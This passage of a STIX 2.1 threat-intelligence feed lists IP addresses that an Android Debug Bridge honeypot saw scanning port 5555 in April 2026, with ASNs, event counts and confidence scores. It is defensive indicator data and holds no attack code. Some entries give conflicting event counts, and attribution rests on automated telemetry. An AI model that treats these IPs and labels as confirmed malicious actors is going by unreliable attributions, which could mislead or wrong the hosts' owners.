      "valid_from": "2026-04-09T04:00:03.000Z",
      "valid_until": "2026-05-11T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 27,
          "first_seen": "2026-04-09T03:49:50.000Z",
          "last_seen": "2026-04-09T04:50:18.317Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T06:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-09T05:28:14.000Z | last_seen=2026-04-09T05:29:23.273Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--10bf6269-9952-41e4-9dac-e48471ff347a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:00:08.000Z",
      "valid_until": "2026-05-11T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-09T05:28:14.000Z",
          "last_seen": "2026-04-09T05:29:23.273Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-09T07:18:20.000Z | last_seen=2026-04-09T07:19:24.254Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--6dd7b226-db37-4746-bed8-5f5927790146",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '110.86.173.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:00:05.000Z",
      "valid_until": "2026-05-11T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-09T07:18:20.000Z",
          "last_seen": "2026-04-09T07:19:24.254Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-09T07:25:40.000Z | last_seen=2026-04-09T07:36:26.383Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--a7e2f7ff-f7e9-4a8c-bc91-83392a40804c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '135.237.123.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:00:05.000Z",
      "valid_until": "2026-05-11T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-09T07:25:40.000Z",
          "last_seen": "2026-04-09T07:36:26.383Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-09T08:32:53.000Z | last_seen=2026-04-09T08:34:02.060Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--5c32aec5-7d79-43ba-a826-c4d16cfb8b65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.24.230.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:00:03.000Z",
      "valid_until": "2026-05-11T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-09T08:32:53.000Z",
          "last_seen": "2026-04-09T08:34:02.060Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-09T08:42:08.000Z | last_seen=2026-04-09T08:52:25.146Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--794bf065-70ab-4c6a-a293-32ba888bf194",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.59.245.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:00:03.000Z",
      "valid_until": "2026-05-11T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-09T08:42:08.000Z",
          "last_seen": "2026-04-09T08:52:25.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=NL; asn=33915; asn_org=Vodafone Libertel B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-09T09:53:14.000Z | last_seen=2026-04-09T10:03:18.290Z | ports=5555 | cc=NL | asn=33915 | org=Vodafone Libertel B.V.",
      "id": "indicator--89718350-4773-48ea-a1d2-54998a8d2a95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.85.223.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T10:00:04.000Z",
      "valid_until": "2026-05-11T10:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-09T09:53:14.000Z",
          "last_seen": "2026-04-09T10:03:18.290Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "33915"
          ],
          "org": [
            "Vodafone Libertel B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T11:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-09T10:19:48.000Z | last_seen=2026-04-09T10:29:51.820Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--11efbec3-1f6c-4a2b-bd0c-c5c57510e184",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.57.113.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T11:00:04.000Z",
      "valid_until": "2026-05-11T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-09T10:19:48.000Z",
          "last_seen": "2026-04-09T10:29:51.820Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134763; asn_org=CHINANET Guangdong province network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-09T13:05:03.000Z | last_seen=2026-04-09T13:06:06.563Z | ports=5555 | cc=CN | asn=134763 | org=CHINANET Guangdong province network",
      "id": "indicator--5ce64ab9-8352-4bd9-b44f-0b846e23050a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.152.90.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:00:03.000Z",
      "valid_until": "2026-05-11T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-09T13:05:03.000Z",
          "last_seen": "2026-04-09T13:06:06.563Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134763"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-09T13:01:17.000Z | last_seen=2026-04-09T13:18:12.184Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5ee9e7c8-3f27-4616-8ad0-47e6bfe4a06c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.198.228.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:00:03.000Z",
      "valid_until": "2026-05-11T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-09T13:01:17.000Z",
          "last_seen": "2026-04-09T13:18:12.184Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=221 | first_seen=2026-04-09T13:41:10.000Z | last_seen=2026-04-21T12:50:43.716Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--3dce0f20-af57-4e1a-8c09-c63bf5b7534e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:00:03.000Z",
      "valid_until": "2026-05-11T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 221,
          "first_seen": "2026-04-09T13:41:10.000Z",
          "last_seen": "2026-04-21T12:50:43.716Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=272 | first_seen=2026-04-09T13:02:08.000Z | last_seen=2026-04-27T16:16:43.485Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:00:03.000Z",
      "valid_until": "2026-05-11T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 272,
          "first_seen": "2026-04-09T13:02:08.000Z",
          "last_seen": "2026-04-27T16:16:43.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=22295; asn_org=Advin Services LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=51 | first_seen=2026-04-09T14:30:36.000Z | last_seen=2026-04-12T05:28:00.595Z | ports=5555 | cc=US | asn=22295 | org=Advin Services LLC",
      "id": "indicator--6ea81df4-8940-4e4a-86a2-561390fe320f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.248.80.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T15:00:03.000Z",
      "valid_until": "2026-05-11T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 51,
          "first_seen": "2026-04-09T14:30:36.000Z",
          "last_seen": "2026-04-12T05:28:00.595Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22295"
          ],
          "org": [
            "Advin Services LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-09T14:21:53.000Z | last_seen=2026-04-09T14:32:03.247Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--330f320b-4f3c-48ba-9e6e-b15f4095b47a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T15:00:03.000Z",
      "valid_until": "2026-05-11T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-09T14:21:53.000Z",
          "last_seen": "2026-04-09T14:32:03.247Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-09T14:20:01.000Z | last_seen=2026-04-09T14:21:07.376Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e93786f4-8ba2-4a84-93ed-1411fa2f524a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T15:00:03.000Z",
      "valid_until": "2026-05-11T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-09T14:20:01.000Z",
          "last_seen": "2026-04-09T14:21:07.376Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-09T15:47:03.000Z | last_seen=2026-04-09T15:48:09.699Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--706340e9-c8db-466d-8673-c425783bf2d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:00:02.000Z",
      "valid_until": "2026-05-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-09T15:47:03.000Z",
          "last_seen": "2026-04-09T15:48:09.699Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-09T15:47:16.000Z | last_seen=2026-04-09T15:48:17.680Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--9ace066e-964c-4f4e-bdc8-7f22f937ba67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.106.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:00:02.000Z",
      "valid_until": "2026-05-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-09T15:47:16.000Z",
          "last_seen": "2026-04-09T15:48:17.680Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
